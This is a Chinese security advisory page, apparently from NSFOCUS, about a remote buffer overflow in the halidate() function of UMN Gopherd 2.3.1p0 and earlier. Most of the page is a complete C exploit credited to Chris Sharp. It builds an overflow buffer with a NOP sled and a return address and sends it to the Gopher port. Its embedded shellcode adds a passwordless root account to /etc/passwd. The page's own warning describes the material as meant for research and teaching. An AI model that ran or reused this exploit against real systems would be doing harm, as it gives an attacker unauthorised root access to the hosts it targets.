首页 -> 安全研究

安全研究

安全漏洞
UMN Gopherd 2.x Halidate函数缓冲区溢出

发布日期:2000-08-22
更新日期:2000-08-22

受影响系统:
University of Minnesota Gopherd 2.3.1p0 and previous
       - S.u.S.E. Linux 7.0
       - RedHat Linux 6.2 sparc
       - RedHat Linux 6.2 i386
       - RedHat Linux 6.2 alpha
       - MandrakeSoft Linux Mandrake 7.1
       - Debian Linux 2.1
描述:
University of Minnesota's Gopher Daemon存在缓冲区溢出漏洞,有可能导致所在
主机系统崩溃、远程用户在本机执行任意代码等等。守护进程的halidate()函数实现
中未检查缓冲区大小,大约600字节的数据覆盖到512字节大小的缓冲区中,导致缓冲
区溢出。

<* 来源:Chris Sharp v9@fakehalo.org *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Chris Sharp 公布了如下exploit code

#define BSIZE 512               // buffer size. (tmpbuf[512] minus server data)
#define PADDING 150             // ret reps. (host+port length guessing room)
#define POINTER 0xbffff65c      // base pointer in which offsets are added.
#define DEFAULT_PORT 70         // default gopher+ daemon port.
#define DEFAULT_OFFSET 0        // default offset. (argument is added)
#define DEFAULT_ALIGN 0         // alignment. (depends on host+port length)
#define TIMEOUT 5               // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

static char exec[]= // appends "hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"
"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"
"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";

void timeout ()
{
    printf( "[timeout]: Connection timeout(%d).\n", TIMEOUT );
    quit( -1 );
}

int main ( int argc, char * argv[] )
{
    char               bof[ BSIZE ];
    int                i, sock, port, offset, align, ga = 0;
    long               ret = DEFAULT_OFFSET;
    struct hostent *   t;
    struct sockaddr_in s;

    printf( "*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer overflow, by: v9[v9@fake"
            "halo.org].\n" );
    if ( argc < 2 )
    {
        printf( "[syntax]: %s <target> [port] [offset] [alignment].\n", argv[0] );
        printf( "[syntax]: %s <target> <[port] [-getalignment]>.\n", argv[0] );
        quit( 0 );
    }
    if ( argc > 2 )
    {
        if ( !strcmp( argv[2], "-getalignment" ) )
        {
            ga   = 1;
            port = DEFAULT_PORT;
        }
        else
        {
            port = atoi( argv[2] );
        }
    }
    else
    {
        port = DEFAULT_PORT;
    }
    if ( argc > 3 )
    {
        if ( !strcmp( argv[3], "-getalignment" ) )
        {
            ga = 1;
        }
        else
        {
            offset = atoi( argv[3] );
        }
    }
    else
    {
        offset = DEFAULT_OFFSET;
    }
    if ( argc > 4 )
    {
        if ( atoi( argv[4] ) < 0 || atoi( argv[4] ) > 3 )
        {
            printf( "[ignored]: Invalid alignment, using default alignment. (0-3)\n" );
            align = DEFAULT_ALIGN;
        }
        else
        {
            align = atoi( argv[4] );
        }
    }
    else
    {
        align = DEFAULT_ALIGN;
    }
    if ( ga )
    {
        getalignment( argv[1], port );
    }
    else
    {
        ret = ( POINTER + offset );
        printf( "[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size: %d, Padding: %d.\n",
                ret, offset, align, BSIZE,PADDING );
        for ( i = align; i < BSIZE; i += 4 )
        {
            *( long * )&bof[i] = ret;
        }
        for ( i = 0; i < ( BSIZE - strlen( exec ) - PADDING ); i++ )
        {
            *( bof + i ) = 0x90;
        }
        memcpy( bof + i, exec, strlen( exec ) );
        memcpy( bof, "halidate ", 9 );
        bof[ BSIZE ] = '\0';
        if ( s.sin_addr.s_addr = inet_addr( argv[1] ) )
        {
            if ( !( t = gethostbyname( argv[1] ) ) )
            {
                printf( "[error]: Couldn't resolve. (%s)\n", argv[1] );
                quit( -1 );
            }
            memcpy( ( char * )&s.sin_addr, ( char * )t->h_addr, sizeof( s.sin_addr ) );
        }
        s.sin_family = AF_INET;
        s.sin_port   = htons( port );
        sock         = socket( AF_INET, SOCK_STREAM, 0 );
        signal( SIGALRM, timeout );
        printf( "[data]: Attempting to connect to %s on port %d.\n", argv[1], port );
        alarm( TIMEOUT );
        if ( connect( sock, ( struct sockaddr_in * )&s, sizeof( s ) ) )
        {
            printf( "[error]: Connection failed. (port=%d)\n", port );
            quit( -1 );
        }
        alarm( 0 );
        printf( "[data]: Connected successfully. (port=%d)\n", port );
        printf( "[data]: Sending buffer(%d) to server.\n", strlen( bof ) );
        write( sock, bof, strlen( bof ) );
        usleep( 500000 );
        printf( "[data]: Closing socket.\n" );
        close( sock );
    }
    quit( 0 );
}  /* end of main */

int getalignment ( char * target, int port )
{
    char               buf[ 1024 ];
    int                i, j, si, sock,math;
    struct hostent *   t;
    struct sockaddr_in s;

    if ( s.sin_addr.s_addr = inet_addr( target ) )
    {
        if ( !( t = gethostbyname( target ) ) )
        {
            printf( "[error]: Couldn't resolve. (%s)\n", target );
            quit( -1 );
        }
        memcpy( ( char * )&s.sin_addr, ( char * )t->h_addr, sizeof( s.sin_addr ) );
    }
    s.sin_family = AF_INET;
    s.sin_port   = htons( port );
    sock         = socket( AF_INET, SOCK_STREAM, 0 );
    signal( SIGALRM, timeout );
    printf( "[data]: Attempting to connect to %s on port %d.\n", target,port );
    alarm( TIMEOUT );
    if ( connect( sock, ( struct sockaddr_in * )&s, sizeof( s ) ) )
    {
        printf( "[error]: Connection failed. (port=%d)\n", port );
        quit( -1 );
    }
    alarm( 0 );
    printf( "[data]: Connected successfully. (port=%d)\n", port );
    alarm( TIMEOUT );
    write( sock, "halidate \n", 10 );
    for ( i = 0; i < 2; i++ )
    {
        if ( !read( sock, buf, 1024 ) )
        {
            si++;
        }
    }
    i = 0;
    while ( buf[ i ] && !( buf[ i ] == 0x4E ) )
    {
        i++;
    }
    j = 0;
    while ( buf[ j ] && !( buf[ j ] == 0x25 ) )
    {
        j++;
    }
    usleep( 500000 );
    printf( "[data]: Closing socket.\n" );
    close( sock );
    if ( !si || i >= j || strlen( buf ) < 64 )
    {
        printf( "[error]: Too minimal or invalid data recieved to calculate. (try agai"
                "n?)\n" );
        quit( -1 );
    }
    else
    {
        math = ( i - j - 2 );
        while ( math < 0 )
        {
            math += 4;
        }
        printf( "[data]: Alignment calculation: %d.\n", math );
    }
}  /* end of getalignment */

int quit ( int i )
{
    if ( i )
    {
        printf( "[exit]: Dirty exit.\n" );
        exit( 0 );
    }
    else
    {
        printf( "[exit]: Clean exit.\n" );
        exit( -1 );
    }
}  /* end of quit */

建议:
暂无

浏览次数:6821
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障